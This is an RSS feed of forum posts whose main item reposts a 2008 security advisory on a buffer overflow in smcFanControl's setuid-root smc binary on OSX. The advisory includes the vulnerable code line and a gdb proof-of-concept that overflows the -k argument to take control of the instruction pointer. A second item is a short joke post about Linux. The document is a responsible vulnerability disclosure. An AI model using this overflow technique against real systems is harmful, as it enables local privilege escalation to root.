<?xml version="1.0" encoding="utf-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<rss version="2.0">
    <channel>
        <title>Lowyat.NET: Latest topics by xwings</title>
        <description></description>
        <link>http://forum.lowyat.net/</link>
        <lastBuildDate>Thu, 11 Jun 2026 21:14:14 +0800</lastBuildDate>
        <generator>FeedCreator 1.7.2</generator>
        <item>
            <title>Please upgrade your smcFanControl</title>
            <link>http://forum.lowyat.net/topic/843128</link>
            <description>One of my pass time project :)&lt;br /&gt;&lt;br /&gt;&lt;!--c1--&gt;&lt;div class='codetop'&gt;CODE&lt;/div&gt;&lt;div class='codemain'&gt;&lt;!--ec1--&gt;&lt;br /&gt;vnsecurity.net ADVISORY 2008-11&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;&amp;#58;Title&amp;#58; Buffer overflows in smcFanControl 2.1.2 for OSX&lt;br /&gt;&amp;#58;Severity&amp;#58; Critical&lt;br /&gt;&amp;#58;Reporter&amp;#58; KaiJern, Lau &amp;#40; kjlau at vnsecurity.net&amp;#41;&lt;br /&gt;&amp;#58;Products&amp;#58; smcFanControl 2.1.2&lt;br /&gt;&amp;#58;OS&amp;#58; OSX&lt;br /&gt;&amp;#58;Fixed in&amp;#58; to be release smcFanControl 2.1.3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;About smcFanControl&lt;br /&gt;--------------------&lt;br /&gt;&lt;br /&gt;First of all, this is a very wonderul software and most of the macbook install&lt;br /&gt;with this software. A big credit for the author Hendrik Holtmann.&lt;br /&gt;&lt;br /&gt;Quote from the Official WebSite &amp;#58;&lt;br /&gt;&lt;br /&gt;smcFanControl lets the user set the minimum speed of the build in fans.&lt;br /&gt;So you can increase your minimum fan speed to make your intel mac run cooler.&lt;br /&gt;&lt;br /&gt;However in order not to damage your machine scFanControl let&amp;#39;s you not set minimum&lt;br /&gt;speed to a rate under Apple&amp;#39;s defaults. In addition to that fans are still in automatic&lt;br /&gt;mode, so the speed of your fans will increase, if CPU load gets higher.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;First of all, let us look at&lt;br /&gt;/Applications/smcFanControl.app/Contents/Resources/smc&lt;br /&gt;&lt;br /&gt;Input option of smc -k was not able to handle large buffer. This will end up with a buffer overflow bug.&lt;br /&gt;&lt;br /&gt;Code from smc.c&lt;br /&gt;&lt;br /&gt;-- snip snip --&lt;br /&gt;&lt;br /&gt;int main&amp;#40;int argc, char *argv&amp;#91;&amp;#93;&amp;#41;&lt;br /&gt;{&lt;br /&gt; &amp;nbsp; &amp;nbsp;int c;&lt;br /&gt; &amp;nbsp; &amp;nbsp;extern char &amp;nbsp; *optarg;&lt;br /&gt; &amp;nbsp; &amp;nbsp;extern int &amp;nbsp; &amp;nbsp;optind, optopt, opterr;&lt;br /&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp;kern_return_t result;&lt;br /&gt; &amp;nbsp; &amp;nbsp;int &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; op = OP_NONE;&lt;br /&gt; &amp;nbsp; &amp;nbsp;UInt32Char_t &amp;nbsp;key = &amp;#34;&amp;#092;0&amp;#34;;&lt;br /&gt; &amp;nbsp; &amp;nbsp;SMCVal_t &amp;nbsp; &amp;nbsp; &amp;nbsp;val;&lt;br /&gt;&lt;br /&gt; &amp;nbsp; &amp;nbsp;while &amp;#40;&amp;#40;c = getopt&amp;#40;argc, argv, &amp;#34;fhk&amp;#58;lrw&amp;#58;v&amp;#34;&amp;#41;&amp;#41; &amp;#33;= -1&amp;#41;&lt;br /&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;switch&amp;#40;c&amp;#41;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case &amp;#39;f&amp;#39;&amp;#58;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;op = OP_READ_FAN;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case &amp;#39;k&amp;#39;&amp;#58;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sprintf&amp;#40;key, optarg&amp;#41;; // Overflow &amp;#33;&amp;#33;&amp;#33;&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&lt;br /&gt;-- snip snip --&lt;br /&gt;&lt;br /&gt;&amp;#036; ls -alF /Applications/smcFanControl.app/Contents/Resources/smc&lt;br /&gt;-r-sr-sr-x &amp;nbsp;1 root &amp;nbsp;admin &amp;nbsp;18212 Jun 13 &amp;nbsp;2007 /Applications/smcFanControl.app/Contents/Resources/smc*&lt;br /&gt;&lt;br /&gt;With default installation, smc binary is always install with suid root. There is a possibility&lt;br /&gt;for a local user to gain root privilege.&lt;br /&gt;&lt;br /&gt;It has not been verified if other version &amp;#40;version 1.x maybe&amp;#41; are also vulnerable.&lt;br /&gt;&lt;br /&gt;Workaround&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;Upgrade to latest version.&lt;br /&gt;&lt;br /&gt;Fix&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Hendrik Holtmann releasing smcFanControl 2.1.3.&lt;br /&gt;&lt;br /&gt;Disclosure&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;vnsecurity.net adapts `RFPolicy v2.0 &amp;#60;http&amp;#58;//www.wiretrip.net/rfp/policy.html&amp;#62;`_ in notifying vendors.&lt;br /&gt;&lt;br /&gt;&amp;#58;Initial vendor contact&amp;#58;&lt;br /&gt;&lt;br /&gt; &amp;nbsp;Nov 10th, 2008&amp;#58; Initial contact sent to holtmann@mac.com, while we are having coffee.&lt;br /&gt;&lt;br /&gt;&amp;#58;Vendor response&amp;#58;&lt;br /&gt;&lt;br /&gt; &amp;nbsp;Nov 10th, 2008&amp;#58; Hendrik Holtmann response as soon as we finish our coffee.&lt;br /&gt;&lt;br /&gt;&amp;#58;Further communication&amp;#58;&lt;br /&gt;&lt;br /&gt; &amp;nbsp;Nov 10th, 2008&amp;#58; Technical summary sent to Hendrik Holtmann.&lt;br /&gt; &amp;nbsp;Nov 11th, 2008&amp;#58; Hendrik Holtmann responded with version upgrade. Fixed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;#58;Public disclosure&amp;#58; 12th Nov 2008&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;#58;PoC code&amp;#58;&lt;br /&gt;&lt;br /&gt;Exploit for the first overflow written by KaiJern, Lau&lt;br /&gt;&lt;br /&gt;&amp;#58;&amp;#58;&lt;br /&gt;&lt;br /&gt;&amp;#036; gdb -q /Applications/smcFanControl.app/Contents/Resources/smc&lt;br /&gt;Reading symbols for shared libraries ... done&lt;br /&gt;&amp;#40;gdb&amp;#41; r -k `ruby -e &amp;#39;print &amp;#34;A&amp;#34; * 45&amp;#39;`BBBBCCCC&lt;br /&gt;Starting program&amp;#58; /Applications/smcFanControl.app/Contents/Resources/smc -k `ruby -e &amp;#39;print &amp;#34;A&amp;#34; * 45&amp;#39;`BBBBCCCC&lt;br /&gt;Reading symbols for shared libraries ++........ done&lt;br /&gt;&lt;br /&gt;Program received signal EXC_BAD_ACCESS, Could not access memory.&lt;br /&gt;Reason&amp;#58; KERN_INVALID_ADDRESS at address&amp;#58; 0x43434343&lt;br /&gt;0x43434343 in ?? &amp;#40;&amp;#41;&lt;br /&gt;&amp;#40;gdb&amp;#41; i r&lt;br /&gt;eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;br /&gt;ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffeb8c &amp;nbsp; &amp;nbsp; &amp;nbsp; -1073747060&lt;br /&gt;edx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x94bf94a6 &amp;nbsp; &amp;nbsp; &amp;nbsp; -1799383898&lt;br /&gt;ebx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 1094795585&lt;br /&gt;esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffed60 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0xbfffed60&lt;br /&gt;ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x42424242 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x42424242&lt;br /&gt;esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 1094795585&lt;br /&gt;edi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 1094795585&lt;br /&gt;eip &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x43434343 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x43434343&lt;br /&gt;eflags &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x10282 &amp;nbsp;66178&lt;br /&gt;cs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x17 &amp;nbsp; &amp;nbsp; 23&lt;br /&gt;ss &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x1f &amp;nbsp; &amp;nbsp; 31&lt;br /&gt;ds &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x1f &amp;nbsp; &amp;nbsp; 31&lt;br /&gt;es &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x1f &amp;nbsp; &amp;nbsp; 31&lt;br /&gt;fs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;br /&gt;gs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x37 &amp;nbsp; &amp;nbsp; 55&lt;br /&gt;&lt;br /&gt;&amp;#58;&amp;#58;&lt;br /&gt;&lt;br /&gt;Blog &amp;#58;&lt;br /&gt;------&lt;br /&gt;&lt;br /&gt;- http&amp;#58;//blog.xwings.net&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Special Thanks to&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;- Hack In The Box, http&amp;#58;//www.hitb.org&lt;br /&gt;- beist.org&lt;br /&gt;- Blue Moon Consulting Co., Ltd, http&amp;#58;//www.bluemoon.com.vn&lt;br /&gt;&lt;br /&gt;Disclaimer&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;The information provided in this advisory is provided &amp;#34;as is&amp;#34; without warranty of any kind. vnsecurity.net disclaims all warranties,&lt;br /&gt;either express or implied, including the warranties of merchantability and fitness for a particular purpose.&lt;br /&gt;Your use of the information on the advisory or materials linked from the advisory is at your own risk.&lt;br /&gt;vnsecurity.net reserves the right to change or update this notice at any time.&lt;br /&gt;&lt;!--c2--&gt;&lt;/div&gt;&lt;!--ec2--&gt;</description>
            <author>xwings</author>
            <category>Apple Byte</category>
            <pubDate>Wed, 12 Nov 2008 08:52:15 +0800</pubDate>
        </item>
        <item>
            <title>Why Linux Is Crap ?</title>
            <link>http://forum.lowyat.net/topic/280171</link>
            <description>Linux can&amp;#39;t game ?&lt;br /&gt;OpenOffice is shit ....&lt;br /&gt;Linux can&amp;#39;t summit your TAX form to LHDN.&lt;br /&gt;&lt;br /&gt;Firefox can&amp;#39;t do windowsupdate ....&lt;br /&gt;&lt;br /&gt;Well ... Hai Hussin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;</description>
            <author>xwings</author>
            <category>Linux &amp;amp; Open Source Software</category>
            <pubDate>Mon, 24 Apr 2006 01:58:46 +0800</pubDate>
        </item>
    </channel>
</rss>
